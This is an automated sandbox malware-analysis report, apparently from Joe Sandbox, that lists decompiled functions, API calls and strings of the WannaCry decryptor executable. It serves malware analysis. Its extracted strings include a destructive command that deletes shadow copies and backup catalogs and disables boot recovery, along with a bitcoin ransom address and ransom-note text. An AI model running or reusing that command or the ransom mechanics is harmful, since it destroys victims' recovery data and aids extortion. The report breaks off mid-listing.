Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040D0A0, Relevance: 6.1, APIs: 4, Instructions: 64

APIs

time.MSVCRT ref: 0040D0AD
srand.MSVCRT ref: 0040D0B3
rand.MSVCRT ref: 0040D0BB
rand.MSVCRT ref: 0040D0D3

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00405180, Relevance: 6.1, APIs: 4, Instructions: 51

APIs

_mbscmp.MSVCRT ref: 00405191
#860.MFC42(?), ref: 004051A1
RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00412A00, Relevance: 6.0, APIs: 4, Instructions: 45

APIs

#825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A45
#825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A62
#825.MFC42(5D5E5F01,00000000,?,0040B770,00000000), ref: 00412A75
#825.MFC42(0040B770,00000000,?,0040B770,00000000), ref: 00412A7E

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404430, Relevance: 6.0, APIs: 4, Instructions: 44

APIs

_TrackMouseEvent.COMCTL32(00000010), ref: 00404463
#2379.MFC42 ref: 0040446F
#2379.MFC42 ref: 004044AA

Part of subcall function 00404530: #289.MFC42 ref: 0040455F
Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
Part of subcall function 00404530: #613.MFC42 ref: 004045BB

SetCursor.USER32(?), ref: 004044A2

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404CF0, Relevance: 6.0, APIs: 4, Instructions: 37

APIs

#2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D2C
#2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D4B
#800.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D5E
#641.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D6D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404170, Relevance: 6.0, APIs: 4, Instructions: 34

APIs

#2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
#800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
#800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
#795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00402E00, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57

APIs

#825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
#825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56

Strings

j'@, xrefs: 00402E00, 00402E7A

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407650, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24

APIs

#2379.MFC42(00000001), ref: 00407667
#2379.MFC42 ref: 00407692

Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005), ref: 0040B638
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 0040B651
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043), ref: 0040B660
Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
Part of subcall function 0040B620: SetFocus.USER32(00000000), ref: 0040B66A
Part of subcall function 0040B620: SetActiveWindow.USER32(00000000), ref: 0040B671
Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689

Part of subcall function 004076A0: time.MSVCRT ref: 004076DA
Part of subcall function 004076A0: sprintf.MSVCRT ref: 0040780E
Part of subcall function 004076A0: SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
Part of subcall function 004076A0: SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
Part of subcall function 004076A0: #540.MFC42 ref: 00407876
Part of subcall function 004076A0: _ftol.MSVCRT ref: 004078AA
Part of subcall function 004076A0: #2818.MFC42(?,$%d,00000000), ref: 004078BE
Part of subcall function 004076A0: #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
Part of subcall function 004076A0: #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
Part of subcall function 004076A0: #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
Part of subcall function 004076A0: #3092.MFC42(00000402,?), ref: 0040791D
Part of subcall function 004076A0: #6199.MFC42(00000402,?), ref: 00407924
Part of subcall function 004076A0: InvalidateRect.USER32(?,00000000,00000001), ref: 0040795A
Part of subcall function 004076A0: #800.MFC42 ref: 0040799F

Strings

Wana Decrypt0r 2.0, xrefs: 00407683

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Analysis Process: @WanaDecryptor@.exe PID: 3456 Parent PID: 3416

Executed Functions

Function 004064D0, Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 256

APIs

#4710.MFC42 ref: 004064DC
SendMessageA.USER32(?,00000080,00000001,?), ref: 004064F9
SendMessageA.USER32(?,00000080,00000000,?), ref: 0040650D

Part of subcall function 00401C70: wcscat.MSVCRT ref: 00401CC1
Part of subcall function 00401C70: RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
Part of subcall function 00401C70: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
Part of subcall function 00401C70: RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
Part of subcall function 00401C70: RegQueryValueExA.ADVAPI32 ref: 00401D81
Part of subcall function 00401C70: SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
Part of subcall function 00401C70: RegCloseKey.ADVAPI32(00000000), ref: 00401DA3

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00406541
strrchr.MSVCRT ref: 00406554
strrchr.MSVCRT ref: 00406564
SetCurrentDirectoryA.KERNEL32(?), ref: 00406571

Part of subcall function 00401A10: fopen.MSVCRT ref: 00401A2B
Part of subcall function 00401A10: fread.MSVCRT ref: 00401A4B
Part of subcall function 00401A10: fwrite.MSVCRT ref: 00401A58
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A66
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A74

time.MSVCRT ref: 004065D1

Part of subcall function 00402C40: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE

WSAStartup.WS2_32(00000202,?), ref: 004065FA
__p___argc.MSVCRT ref: 00406600
__p___argv.MSVCRT ref: 0040661A
ExitProcess.KERNEL32 ref: 0040665B
__p___argv.MSVCRT ref: 00406666
ExitProcess.KERNEL32 ref: 004066A7
__p___argv.MSVCRT ref: 004066B2
Sleep.KERNEL32(00002710), ref: 004066F3

Part of subcall function 00401BB0: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401BEC
Part of subcall function 00401BB0: CheckTokenMembership.ADVAPI32(00000000,?,?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 00401C06
Part of subcall function 00401BB0: FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401C19

ExitProcess.KERNEL32 ref: 00406786

Part of subcall function 00401B50: ShellExecuteExA.SHELL32 ref: 00401B9D

sprintf.MSVCRT ref: 0040676A

Part of subcall function 00401A90: CreateProcessA.KERNEL32 ref: 00401AE3
Part of subcall function 00401A90: WaitForSingleObject.KERNEL32(?,?), ref: 00401AFB
Part of subcall function 00401A90: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
Part of subcall function 00401A90: GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
Part of subcall function 00401A90: CloseHandle.KERNEL32(?), ref: 00401B31
Part of subcall function 00401A90: CloseHandle.KERNEL32(?), ref: 00401B38

Part of subcall function 004080C0: FindFirstFileA.KERNEL32(*.res,?), ref: 00408111
Part of subcall function 004080C0: sscanf.MSVCRT ref: 0040816A
Part of subcall function 004080C0: fopen.MSVCRT ref: 00408185
Part of subcall function 004080C0: fread.MSVCRT ref: 004081A0
Part of subcall function 004080C0: fclose.MSVCRT ref: 004081BE
Part of subcall function 004080C0: FindNextFileA.KERNEL32(?,00000010), ref: 004081F1
Part of subcall function 004080C0: FindClose.KERNEL32(?), ref: 00408200
Part of subcall function 004080C0: sprintf.MSVCRT ref: 00408266
Part of subcall function 004080C0: #537.MFC42(?,?,00000000), ref: 00408280
Part of subcall function 004080C0: #537.MFC42(?,?,00000000,?,?,00000000), ref: 004082A2

Part of subcall function 00407F80: fopen.MSVCRT ref: 00407FBD
Part of subcall function 00407F80: fread.MSVCRT ref: 00407FDD
Part of subcall function 00407F80: fclose.MSVCRT ref: 00407FE4

Part of subcall function 00407E80: SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
Part of subcall function 00407E80: wcslen.MSVCRT ref: 00407EF4
Part of subcall function 00407E80: swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
Part of subcall function 00407E80: MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
Part of subcall function 00407E80: CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
Part of subcall function 00407E80: SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67

SetWindowTextW.USER32(?,Wana Decrypt0r 2.0), ref: 0040679C

Part of subcall function 00406F80: CreateSolidBrush.GDI32(000000E0), ref: 00406FB3
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00406FBC
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00121284), ref: 00406FC6
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00406FCF
Part of subcall function 00406F80: CreateSolidBrush.GDI32(0000E000), ref: 00406FD9
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00406FE2
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00E00000), ref: 00406FEC
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00406FF5
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00000000), ref: 00406FFC
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00407005
Part of subcall function 00406F80: CreateSolidBrush.GDI32(003834D1), ref: 0040700F
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00407018
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00107C10), ref: 00407022
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 0040702B
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00E8A200), ref: 00407035
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 0040703E
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00D77800), ref: 00407048
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00407051
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00003CDA), ref: 0040705B
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 00407064
Part of subcall function 00406F80: CreateFontA.GDI32(00000018,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00407097
Part of subcall function 00406F80: #1641.MFC42(00000000,?,0001DAA0,?), ref: 0040709C
Part of subcall function 00406F80: CreateFontA.GDI32(00000012,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070C9

Part of subcall function 00406C20: GetUserDefaultLangID.KERNEL32 ref: 00406C3B
Part of subcall function 00406C20: GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
Part of subcall function 00406C20: SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
Part of subcall function 00406C20: SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
Part of subcall function 00406C20: SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4

SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004067C6
SetTimer.USER32(?,000003EA,00007530,00000000), ref: 004067D8

Strings

/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, xrefs: 004066FE
Wana Decrypt0r 2.0, xrefs: 00406796
%s %s, xrefs: 00406764
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94, xrefs: 00406595
cmd.exe, xrefs: 0040671C

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00405A60, Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134

APIs

Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005), ref: 0040B638
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 0040B651
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043), ref: 0040B660
Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
Part of subcall function 0040B620: SetFocus.USER32(00000000), ref: 0040B66A
Part of subcall function 0040B620: SetActiveWindow.USER32(00000000), ref: 0040B671
Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689

#1134.MFC42(00000000,Wana Decrypt0r 2.0,00000001), ref: 00405A8C
#2621.MFC42 ref: 00405A96
#6438.MFC42 ref: 00405A9B

Part of subcall function 004060E0: #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
Part of subcall function 004060E0: #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 0040612F
Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 00406147
Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 004061DF
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 004061F7
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406209
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406219
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406229

#2514.MFC42 ref: 00405AC1

Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B

Part of subcall function 00403F90: #2414.MFC42(?,?,?,004136D8,000000FF,00403F78), ref: 00403FBB

#800.MFC42 ref: 00405C33
#800.MFC42 ref: 00405C47
#800.MFC42 ref: 00405C5B
#800.MFC42 ref: 00405C6F
#781.MFC42 ref: 00405C83

Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD

Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1

Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD

#609.MFC42 ref: 00405D37
#609.MFC42 ref: 00405D4B
#616.MFC42 ref: 00405D5C
#641.MFC42 ref: 00405D70

Strings

Wana Decrypt0r 2.0, xrefs: 00405A80
0ZA, xrefs: 00405AC6
DZA, xrefs: 00405B1F

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407A90, Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 90

APIs

Part of subcall function 00404C40: #324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
Part of subcall function 00404C40: #540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
Part of subcall function 00404C40: #860.MFC42(00421798), ref: 00404CAD

#2514.MFC42 ref: 00407AF1
#537.MFC42(***), ref: 00407B04
#941.MFC42(00421234,***), ref: 00407B1A
#939.MFC42(?,00421234,***), ref: 00407B28
#6876.MFC42(0000000A,0000003B,?,00421234,***), ref: 00407B35
#6876.MFC42(0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B42
#535.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B55

Part of subcall function 004082C0: #4278.MFC42(000003E8,00000000,000003E8,?,?,0001D474), ref: 0040830D
Part of subcall function 004082C0: #858.MFC42 ref: 00408322
Part of subcall function 004082C0: #800.MFC42 ref: 00408332
Part of subcall function 004082C0: #1200.MFC42(Too short message!,00000000,00000000,?,?,0001D474), ref: 00408354
Part of subcall function 004082C0: #800.MFC42 ref: 0040836B
Part of subcall function 004082C0: time.MSVCRT ref: 0040837F
Part of subcall function 004082C0: #540.MFC42 ref: 004083C8
Part of subcall function 004082C0: time.MSVCRT ref: 004083D6
Part of subcall function 004082C0: #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
Part of subcall function 004082C0: #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
Part of subcall function 004082C0: #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
Part of subcall function 004082C0: #800.MFC42 ref: 00408440
Part of subcall function 004082C0: time.MSVCRT ref: 0040844E
Part of subcall function 004082C0: fopen.MSVCRT ref: 00408487
Part of subcall function 004082C0: #800.MFC42 ref: 004084A8
Part of subcall function 004082C0: fread.MSVCRT ref: 004084C2
Part of subcall function 004082C0: fclose.MSVCRT ref: 004084C9
Part of subcall function 004082C0: #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
Part of subcall function 004082C0: time.MSVCRT ref: 00408528
Part of subcall function 004082C0: #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
Part of subcall function 004082C0: #800.MFC42 ref: 0040855B

#800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B6D
#2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B99
#2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BC2
#800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BDB
#641.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BEF
#2385.MFC42(?,?,?), ref: 00407C0E

Strings

***, xrefs: 00407AFB
[A, xrefs: 00407BCB
[A, xrefs: 00407BA2

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004063A0, Relevance: 22.6, APIs: 15, Instructions: 82

APIs

#2302.MFC42(?,0000040F,?), ref: 004063B2
#2302.MFC42(?,000003EC,?,?,0000040F,?), ref: 004063C4
#2302.MFC42(?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063D6
#2302.MFC42(?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063E8
#2302.MFC42(?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063FA
#2302.MFC42(?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?), ref: 0040640C
#2302.MFC42(?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?), ref: 0040641E
#2302.MFC42(?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?), ref: 00406430
#2302.MFC42(?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?), ref: 00406442
#2302.MFC42(?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?), ref: 00406454
#2302.MFC42(?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?), ref: 00406466
#2302.MFC42(?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?), ref: 00406478
#2370.MFC42(?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?), ref: 0040648A
#2370.MFC42(?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?), ref: 0040649C
#2370.MFC42(?,000003EF,?,?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?), ref: 004064AE

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040B620, Relevance: 13.5, APIs: 9, Instructions: 45

APIs

FindWindowW.USER32(00000000,00000000), ref: 0040B628
ShowWindow.USER32(00000000,00000005), ref: 0040B638
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 0040B651
SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043), ref: 0040B660
SetForegroundWindow.USER32(00000000), ref: 0040B663
SetFocus.USER32(00000000), ref: 0040B66A
SetActiveWindow.USER32(00000000), ref: 0040B671
BringWindowToTop.USER32(00000000), ref: 0040B678
ExitProcess.KERNEL32 ref: 0040B689

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401A10, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42

APIs

fopen.MSVCRT ref: 00401A2B
fread.MSVCRT ref: 00401A4B
